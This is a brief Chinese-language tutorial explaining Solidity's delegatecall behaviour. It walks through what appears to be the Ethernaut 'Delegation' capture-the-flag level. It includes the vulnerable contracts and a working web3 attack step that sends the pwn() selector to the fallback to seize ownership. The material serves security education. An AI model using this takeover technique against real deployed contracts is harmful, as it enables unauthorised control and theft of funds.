Delegatecall
delegatecall
有以下几个特点
A
通过delegatecall
调用B
合约
- B 合约中,
msg.sender
是 A 合约调用的msg.sender
- B 合约中的变量书写顺序要和 A 合约保持一致,否则会导致变量状态修改错误,因为
slot
布局不一致 - B 合约中如果有修改状态变量的操作,其实修改的是 A 合约的状态变量
其中第三条会导致很多漏洞产生,如果我们能将自己的攻击合约设置成代理调用合约。则可以修改目标合约里的一些状态变量。
例如下面的例子:
Delegation
要求我们获取Delegate
合约的owner
权限
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
我们拿到的是Delegation
合约的地址,想要获取 owner 权限,则需要调用Delegation
合约的fallback
方法通过delegatecall
调用Delegate
合约的pwn
方法,对于Delegate
合约看到的msg.sender
就是我们调用者的账号地址
攻击步骤:
// 获取 pwn()方法的编码
web3.eth.abi.encodeFunctionSignature("pwn()") => "0xdd365b8b"
// 调用 fallback 方法
await sendTransaction({
from: player,
to: instance,
value: 0,
data: "0xdd365b8b"
})